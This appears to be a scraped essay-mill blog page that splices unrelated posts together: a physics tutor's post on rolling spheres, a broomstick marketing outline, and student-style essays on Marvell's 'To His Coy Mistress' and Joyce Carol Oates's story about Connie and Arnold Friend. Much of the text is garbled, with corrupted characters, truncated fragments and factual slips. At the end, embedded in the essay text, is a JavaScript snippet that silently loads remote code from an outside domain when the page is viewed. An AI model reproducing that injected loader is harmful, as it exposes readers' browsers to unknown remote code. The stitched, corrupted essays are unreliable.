Wednesday, August 26, 2020

Top Papers Is Your Professional Non Plagiarized Essay Writing Service

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Sunday, June 7, 2020

Inertia Experiments Rolling Motion Part I

Not that kind of inertia. Sometimes, when you are sitting in a physics class staring at an intimidating wall of math, it can be easy to lose sight of the fact that the laws of physics originated as hypotheses to explain observations in the real world. Whether it was Newton getting bopped on the head by an apple, Galileo dropping stuff off the Tower of Pisa, or Franklin electrocuting himself with a kite, there was often an experiment that preceded and informed the mathematical formulation of a physical law. As a physics tutor in Cambridge, I find that it’s easier for my students to stomach the math if they’re able to imagine what it means, if they can figure out the physical consequence hidden behind the equation. For example, when looking at Newton’s second law (F = m a), I imagine pushing on a box. When I push (apply a force) on the box (a mass), it starts moving (it accelerates). If I push harder (apply a larger force) on the box (still the same mass), it starts moving more quickly (a l arger acceleration). And while thought experiments are great, real experiments are more fun! Today we will set up some experiments to investigate one of the more abstract concepts in classical mechanics: the moment of inertia. What IS inertia, exactly? Inertia is one of those quantities that kind of makes sense when you first hear about it, but then the math starts getting complicated and physical insight can be obscured. Basically, inertia is a measure of how difficult it is to rotate an object around a particular axis. The more inertia something has, the more torque is required to get it rotating – you can think of inertia as the rotational analogue to mass. As you might imagine, the geometrical shape of the object matters, as does the position of the axis of rotation. Intuitively it is clear that rotating a rod that is fixed at one end is somehow different than rotating a rod that is fixed at its center, one case is likely to be harder than the other. So, what is the real-world consequence of this? What does it mean physically that some objects are harder to rotate than others? What does it mean that the geometry of the object matters? Let’s try to set up a situation in which having different values for the inertia creates different observable outcomes. The simpler the experiment, the better, because it will be easier to understand the results. Why not just get a bunch of different objects and start rotating them around! Whichever one is most difficult to rotate must have the largest moment of inertia. However, this doesn’t seem to be a particularly good experiment – â€Å"this one feels harder to move† isn’t a very precise measurement. Another idea is to find a bunch of different objects and roll them down a ramp! The objects will be rotating as they roll down the ramp, so the inertia is likely to influence the outcome. For simplicity, we can limit the experiment to objects that have a circular cross-section. We will have a clear way to measure the results: which object gets to the bottom first? The Experiment First let’s pick some objects that are easy to get a hold of, so that you can try this for yourself if you like: we’ll start with a marble and a pool ball. They both have the same geometry – both are solid spheres – but their mass and size are quite different. Let’s see what happens! The race is on! Here is the view from the starting line. Here is the view from the finish line. It looks as though the two balls cross the finish line at the same time! This is perhaps somewhat unexpected; most people think the pool ball should cross first because of its larger size and mass. Let’s try to figure out what’s going on here. As with many mechanics problems, the simplest way to analyze this situation is to use conservation of energy. At the top of the ramp, each object has some potential energy due to the gravitational force. At the bottom of the ramp, that gravitational potential energy is converted into kinetic energy – some of the initial potential energy is used to get the objects rotating, and some is used to move the objects down the ramp. So our energy balance equation will look like this: (initial potential energy) + (initial kinetic energy) = (final potential energy) + (final kinetic energy) We know that the objects start from rest, so the initial kinetic energy is zero, and we know that at the bottom, the objects have zero potential energy. Also, we can split up the kinetic energy into the energy due to rotational motion and the energy due to linear (or ‘translational’) motion: (initial potential energy) = (final rotational kinetic energy) + (final linear kinetic energy) Now we dig into our bag of formulas and fill out the equations with variables. We’ll use the subscript m to refer to the marble and the subscript p to refer to the pool ball: There are a lot of variables in there, so here is a table to keep track of them all: Now, since both balls start from rest, whichever ball has the most linear speed at the bottom of the ramp will be the one to cross the finish line first.* Using the formula for the moment of inertia of a sphere rotated about its center, and rewriting the rotational velocity in terms of the linear velocity, the equations become: It looks like the mass and the radius cancel out! Simplifying the equations, we have: As we can see, the marble and the pool ball have the same velocity at the bottom of the ramp, which explains why they cross the finish line at the same time. What did we learn here? The math says that the two objects should get to the bottom at the same time, and that is indeed what we observe. But why is this the case? The mass and size are different for the two objects, but those quantities get canceled out in the energy balance equation, and do not influence the result. However, the geometry of the objects is the same – they are both solid spheres. So, this suggests another experiment: taking two objects with different shapes and repeating the race! By comparing the results of the two experiments, we will be able to build some intuition about rolling motion. For more relevant reading, check out these other blog posts, written by ourphysics tutors in NYC, Cambridge, and online:3 Tips for Physics Standardized Tests, How to Frame the Problem, and How to Make Sure Your Answer is Right. *This is true if the objects have a constant acceleration, and since in this case all of the forces acting on the objects (gravity, friction and the normal force) are constant in time, the acceleration will be constant, too. ;

Sunday, May 17, 2020

Broomstick - 1120 Words

Title Page Table Of Contents I. Executive Summary Short summary of the campaign Broomsticks are an essential part of the Filipino household. Due to the Philippines’ climate which ..dust. Sweeping became a daily routine. We are assigned to carry out a product launch of a new brand of broomstick. We aim to go against the widely used broomstick in the Philippines, Baguio broomstick. We plan to grab 30% of the broom market in the span of 6 months campaign period. Our budget is P5 million. II. Research Highlights Choose only most important findings from 100 person survey and highlights of interviews with at least five KOLs (key opinion leaders) or resource persons. III. Situation Analysis Industry Analysis Describes†¦show more content†¦nder tension will submit withdraw/ avoid dictate/ assert attack/ be sarcastic Seeks attention accuracy productivity recognition Gains security by close relationships preparation control flexibility Wants to maintain relationships credibility success status Supports his/her feelings thoughts goals ideas Likes you to be pleasant precise to the point stimulating Wants to be liked correct in charge admired Irritated by insensitivity/ impatience surprises inefficiency/ indecision inflexibility/ routine Measures person s worth by compatibility with others precision/ accuracy results/ track record recognition/ compliments Decisions are considered deliberate definite spontaneous Low Caring Low Control Analytical Melancholic o more cautious, threatened by change o factual, preoccupied by detail o logic facts have higher priority than relationships o be organized, prepared Driver Choleric o driven, task-oriented individuals o willing to take risks o needs to be in control o strong, forceful o Here are your options, what do you want to do? o keep relationship business-like o get right to the point Amiable Phlegmatic o prefer status quo, like the world as it is o easy-going but cautious about making decisions o don t enjoy conflict, don t like saying No o relationship-driven, need to trust you first o offer personal assurances that you stand behind your decision Expressive Sanguine o lively, social individuals who love to talk, thusShow MoreRelatedWitches, Broomsticks And Witchcraft1582 Words   |  7 PagesWitches, Broomsticks and Witchcraft What comes to mind when someone says, witches? Most likely a picture of the Wicked Witch of the West, or Elizabeth Montgomery’s portrayal of Samantha from the sitcom Bewitched. Sometimes it’s someone evil and scary hunched over a black bubbling cauldron. Today’s modern witches are known as Wiccans who follow the nature-based religion, that have different branches and denomination. There has been some controversy about when Wicca had started, if it was formedRead MoreAnalysis Of My Pods And Broomsticks In The Simpsons796 Words   |  4 Pagesâ€Å"My Pods and Broomsticks† a very controversial episode of â€Å"The Simpsons† is full of satire, concentrating in the main theme of stereotypes and the ignorance of consumers in this day and age. These are represented through the Simpsons, elements, or flaws of modern society are cleverly displayed using many devices such as humour, puns, irony and sarcasm. When analyse an episode of the Simpson it get s you thinking, does the Simpson serve a greater propose than to just entertain? In the start of theRead MoreThe Witch-Figure and the Sabbat865 Words   |  4 PagesCivilization The Witch-Figure and the Sabbat Robin Briggs Today, there remains a relic of the European witch-hunts predominant at this time of year. Halloween decorations are flooded with depictions of tall thin hats, and haggard old women flying on broomsticks. For a time period of approximately the middle fifteenth century to sometime into the eighteenth century witches were thought to be a serious threat to the community. Skeptical Roman authorities finally helped put an end to the continued persecutionRead MoreWizard Of Oz Essay1043 Words   |  5 Pagesgetting to the wizard but eventually got to him. After they went through all of this trouble with the wicked witch and getting to the wizard, he tells them they have to get the wicked witch of the west’s broom from her. Then they go off to get the broomstick from the witch but something terrible happens. The wicked witch sent flying monkeys after dorothy to take her slippers. Then Dorothy got taken away to the witches castle and Dorothy only had little time to live before the witch killed her. But luckilyRead MoreSociety s Fruit By Haggard Witches1065 Words   |  5 Pagesdiscussed in English literature appear to be identical individuals. However, upon taking a closer look, one would realize that Bafana is everything the stereotypically evil witch is not despite the fact that they are physically comparable do wn to the broomstick. Italian children would not regard her as an evil character, they rather relate her to Santa Clause during Christmastime. Her cheery nature and gift giving abilities overcome all judgments about her appearance, transforming her into the belovedRead MoreThe Wizard Of Oz By Victor Fleming Essay1744 Words   |  7 PagesWoodman, the Scarecrow, and the Cowardly Lion when on her way (Ibid.). Notably, each of them desires a specific thing to make them complete. Thus, the wizard agrees to grant them their wishes if they bring a broomstick belonging to the Wicked Witch of the West (Ibid.). Finally, the fetch the broomstick after several tribulations and take it to the wizard. The latter, although claiming to present them with the gift they want, turns out to be an ordinary person (Ibid.). Of course, making this story thatRead MoreThe Pros And Cons Of Harry Potter1487 Words   |  6 Pagesthinking. The story of the ‘Chosen One’ is very much inclusive of fi ction and falsehood, especially the non-worldly power of making things happen with the swish of a wand and utterance of a few words, and their sport played by flying around on broomsticks. These factors are what the author, J.K Rowling, was intending to use to catch the attention of young readers, the ‘orange soda’ of the book. Many argue against this book on the grounds that these falsehoods will lead children to believe that theRead MoreThe Flipping Life : Harry Potter And The Sorcerer s Stone1273 Words   |  6 Pagesand Harry help him to discover his life and are not only the process of getting to know more friends but also his enemies. While studying at school, Harry gets to meet more people, including the good and the bad ones. During the class of using the broomstick, Harry stands up for his classmate to take back Neville Longbottom’s belonging against Draco Malfoy for the first time. To illustrate, Malfoy said, â€Å"‘Look!’ said Malfoy, darting forward and snatching something our of the grass. ‘It’s that stupidRead MoreEssay on Wicca865 Words   |  4 Pagesto complete. Wiccans are not Satan Worshippers. They do not communicate with the devil. The devil is a Christian belief and is in no way connected to Wicca as is believed by many non-Wiccans. Wiccans also do not fly on broomsticks. They do have many rituals that involve broomsticks though. The broom is seen to have very protective powers and therefore is used a lot in Wicca. A male witch is a witch, not a Warlock. Warlock is a Celtic word that means traitor. It was used to describe the men who soughtRead MoreAnalysis Of The Play Somewhere Over The Rainbow 859 Words   |  4 Pagesgo into the Wizards chamber and the Great and Powerful Oz appears as a disembodied head and refuses to Grant the group s wishes until they do something for him. He demands them to bring him the broomstick of the Wicked Witch of the West. Dorothy and Company try to figure out how to steal the broomstick of the Wicked Witch of the West, while hiding in the dark forest. Meanwhile, the Wicked Witch of the West sends her fl ying monkeys to capture Dorothy and Toto and bring them to the castle so she can

Wednesday, May 6, 2020

Analysis Of Andrew Marvells To His Coy Mistress - 1027 Words

Love or Lust? Poets are famous for their sweet love poems, or better yet lust poems. Poetry has a way of making even the worst stories sound lovely. The way the words roll off your tongue can fool even the smartest off readers. The hidden meanings are buried within the literary devices that poets use. In Andrew Marvell’s poem â€Å"To His Coy Mistress† there are plenty of hidden messages buried in the literary devices, but before we start digging in the lines of the poem let us think about what is going on in the poem to be able to fully understand the meaning. The poem is about a man trying to sway a woman into having a sexual relationship with him. The poet also does not give the reader a specific time in history that the poem is taking†¦show more content†¦The â€Å"conversion of the Jews† is a hyperbole that reflects his endless live for his mistress. He uses these allusions to the biblical times to express his feelings to his mistress. The speaker uses the idea of time to describe how much time she deserves to be adored by saying: An hundred years should go to praise Thine eyes, and thy forehead gaze, Two hundred years for each breast, But thirty thousand to the rest. An age at least to every part, And the last age should show your heart. (Marvell 13-18). He uses a hyperbole here because he knows that it is not possible for a person to live for thousands of years. After telling his mistress that if time was endless he would use all of it to adore her he converts the pleading into an expression of how time is not endless and how their time will eventually run out. Then at the end of his pleading he asks to live in the moment and make me best of what time they have left by sleeping together. Now, let us dig deeper into the poem by uncovering the tone of the poem, better yet the tones. In â€Å"To His Coy Mistress† the tone seems to change. In the beginning the tone is romantic with a hint of sarcasm behind it. The speaker is describing how long he will love this woman by describing through thousands of years. Even though he knows that they will not have thousands of years, this is where the sarcasm comes into play. In the second part of the poem the speaker’s tone turns into a rushed tone. The speakerShow MoreRelatedLiterary Analysis Of Andrew Marvells To His Coy Mistress890 Words   |  4 Pagesâ€Å"To His Coy Mistress† Andrew Marvell’s poem â€Å"To His Coy Mistress,† originally published in 1681, encompasses the Carpe Diem ideology through a dramatic monologue in which the narrator speaks to his â€Å"coy mistress.† While the poem uses literary devices to illustrate the recurring theme outlining time’s limitations and that the narrator and his mistress need to have sex immediately, it also contrasts with the Petrarchan standard of the idealized woman. Within the first 24 lines of the poem, MarvellRead MoreLove in HJohn Donne ´s A Valediction Forbidding Mourning and Andrew Marvell ´s To His Coy Mistress838 Words   |  4 Pagesand the world you of the author in question. Accordingly, the following analysis will be concentric upon discussing and analyzing the approach and understanding of love that two specific poets exhibit within their respective work. The first of these poets that will be analyzed is John Donne in his poem â€Å"A valediction forbidding Mournin g†. Likewise, the second which will be analyzed is Andrew Marvell’s â€Å"To His Coy Mistress†. Even though these two points were written in roughly the same timeframeRead More Analysis of To His Coy Mistress by Andrew Marvell Essay809 Words   |  4 PagesAnalysis of To His Coy Mistress by Andrew Marvell Andrew Marvells elaborate sixteenth century carpe diem poem, To His Coy Mistress, not only speaks to his coy mistress, but also to the reader. Marvells suggests to his coy mistress that time is inevitably rapidly progressing and for this he wishes for her to reciprocate his desires and to initiate a sexual relationship. Marvell simultaneously suggests to the reader that he or she should act upon their desires as well, to hesitate no longerRead MoreA Literary Analysis On The Shall I Compare Thee? Essay784 Words   |  4 PagesA Literary Analysis on the â€Å"Shall I Compare Thee?† (Sonnet XVIII) by William Shakespeare and the â€Å"To his Coy Mistress† Poem by Andrew Marvell This article compares the poems â€Å"Shall I Compare Thee?† (Sonnet XVIII) with â€Å"To his Coy Mistress† and examines the purposes of the poems and their implemented poetry techniques to convey their poets ideas. On first look it seems both poems are sharing the common ideas of â€Å"Love† but by analyzing the poems, it becomes clear that the purposes of the two poemsRead MorePoem Analysis On His Coy Mistress By Andrew Marvell1319 Words   |  6 Pages Andrew Marvell wrote a unique love poem in â€Å"To His Coy Mistress,† as this poem expresses far more than one might expect or even perceive upon the first reading. Enveloped in this ode to a cherished muse are expressions of the â€Å"carpe diem† philosophy, laments about the impending doom of death, and hopes to transcend contemporary abilities to live forever in the love of another. While Marvell’s primary purpose in writing this piece may have been to woo a young maiden, he made a far more significantRead MoreAnalysis Of The Poem Not Coy Mistress By Andrew Marvell1596 Words   |  7 PagesEnglish 203 9 February 2015 Sex Over Time in Andrew Marvell’s, â€Å"To His Coy Mistress† Sex and lust have changed greatly over time, especially since the late 1600s. In the poem, â€Å"To His Coy Mistress† by Andrew Marvell the relationship between sex and time is rather passionate, but shifts as Marvell metaphorically describes time. The horrifying tone put on the metaphors, allusions, and the hyperboles play an important role in the understanding of Marvell’s meaning on sex and lust of the speaker’s ladyRead MoreThe s Coy Mistress By Andrew Marvell And The Flea1919 Words   |  8 Pagesthroughout â€Å"To His Coy Mistress† by Andrew Marvell and â€Å"The Flea† by John Donne functions as a way to present, confirm and refute the traditional stereotypical view of carpe diem love poetry. The speakers within both poems aim to â€Å"seize the day† by wooing and taking advantage of women and their virginity and sexuality. They not only want to take advantage of the time they have but also make sure they do not regret not doing anyt hing in the future. In specific, â€Å"To His Coy Mistress† presents the viewRead MoreComparing Easy by Andrew Fusek Peters and Andrew Marvells To his Coy Mistress1736 Words   |  7 PagesComparing Easy by Andrew Fusek Peters and Andrew Marvells To his Coy Mistress After reading the two poems in detail and after doing group analysis the following points were brought up for a further evaluation. These were: theme, ideas, language, imagery and personal opinion. Both poems deal with seduction and relationships but vary of how it is done. In the poem Easy, SEX seemed to be the biggest issue. The relationship here was more of a one time fling or a oneRead More To His Coy Mistress by Andrew Marvell Essay877 Words   |  4 PagesTo His Coy Mistress by Andrew Marvell Andrew Marvell is considered a cavalier poet. He writes seduction poems that represent characteristics of cavalier poets through use of clever, witty, and developed lyrics. Marvells To His Coy Mistress is a seduction poem that contains these elements along with the use of rhyme, meter, imagery, and tone. Marvell creates a seduction poem that argues the desire for sexual gratification with a distinct aggressive tone. To begin with the speaker in theRead More Use of Allusions in Andrew Marvells To His Coy Mistress Essay560 Words   |  3 Pages The speaker in Andrew Marvells To His Coy Mistress; is a man who is addressing a silent listener, who happens to be his mistress. In this dramatic monologue the speaker tries to explain his feelings to his mistress. The speaker uses many allusions to empires and other objects, events and ideas that are not directly related to his feelings, in order to explain how he feels. He uses these allusions to exaggerate his feelings in order to clearly show them. After reading over the poem once, you

Joyce Carol Oates Analysis Of His Short free essay sample

Joyce Carol Oates: Analysis Of His Short Story Essay, Research Paper ? Did Connie Bring Arnold? s Actions Upon Herself? ? Her bosom was about excessively large for her thorax and its pumping made perspiration interruption out all over her? ( 105 ) . Joyce Carol Oates places the reader in an unwanted state of affairs in ? Where are you traveling, Where have you been? ? . This state of affairs is a immature miss being wickedly seduced and raped. Although Connie is immature and beautiful, her two contrasting personalities and actions put her in a place of fright and daze as Arnold Friend, takes her to a personal life snake pit. The chief struggle of the narrative is between Arnold Friend and Connie. The writer brings the audience into the struggle when Arnold? s gold bus pulls into Connie? s private road ( 15 ) . Oates so takes us to Arnold? s chief aim? acquiring Connie outside? ( 20 ) . As Connie and Friend acquire more involved in their statements, the narrative builds up to a boiling point. The flood tide of the narrative is when Connie puts down the phone and gives into Arnold. Friend, with all of his evil appeal, leads Connie closer to him in her indecisiveness ( 145 ) . Friend has now taken over Connie? s ideas. He additions control of her head and takes advantage of her immatureness by scoring her to come outside and viciously ravishing her. Arnold, holding gotten what he wants, brings the narrative to a declaration when Connie enters a mystical land where she has neer been. Now, Connie is left entirely in her life snake pit that Arnold has created. Friends misrepresentation leaves Connie experiencing absolutely entirely and incapable of sing any emotions. Oates portrays Connie as a immature and beautiful miss. Connie loved to look at herself. Her female parent ever criticized this and seemed to prefer her older, more reliable sister. Connie? s beauty and adolescence are one of the major helpers to Arnold? s behavior. A 2nd feature that brings the struggle of the narrative to her is Connie? s different personalities. She has two different ways of transporting herself? place? and ? anyplace else? . Her? place? personality is a more conservative, unsociable, and acceptable of a immature lady. However, her? anyplace else? personality brings about many R / gt ; alterations non merely in behaviour but besides in visual aspect. She could be seen as broad, sociable, and wild immature miss who is unfastened to new things ( 5 ) . Oates points out a 3rd trait. This trait is seeable through Connie? s actions. Her behaviour is reversible along with every thing else about her. Her actions in the first of the narrative, where she teases the male childs and entices them ( 5 ) , play a crisp contrast to her frightened actions at the terminal when the male child is luring her ( 110 ) . Connie exemplifies most immature misss in her actions. She likes to badger the immature work forces, but doesn? t understand the reverberations her actions will convey approximately. The writer takes the topic of a vulnerable immature miss and interweaves it with the subject of? good vs. immorality? . Connie is described as immature and immature ; nevertheless, Arnold is described as older and wiser. The subject is farther developed in the manner Arnold tempts Connie to come outdoors. A comparing can be drawn to Satan? s tempting of Jesus Christ such as: the show of his cognition, doing promises, and offering unrealistic wagess. This highlights the authoritative? good vs. evil? conflict. Nevertheless, Connie is much more susceptible than Jesus, and resignations to Arnold by traveling outside. Connie doesn? T want to travel but feels she has no other pick. Joyce Carol Oates leaves a acrimonious gustatory sensation in her audience? s oral cavity at the terminal of the narrative. Through Oates description of Connie? s features she shows how Connie had to populate with the consequence of her workss. Oates feels that unfairness has been done yet proves her point of immature misss opening themselves to these actions with their ain actions. She intends to go forth the injustice unpunished so her audience feels merely a little portion of what Connie felt. Connie didn? T want or merit the offense that was done to her. In the terminal Connie realized the artlessness she had been seeking to get away was now gone. Although the loss of her artlessness didn? t happen in a manner she had dreamed of it was gone and she was ? taken up merely the same by the huge sunlit ranges of the land behind him and on all sides of him, so much land that Connie had neer seen before and did non acknowledge except to cognize that she was traveling to it? ( 160 ) . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;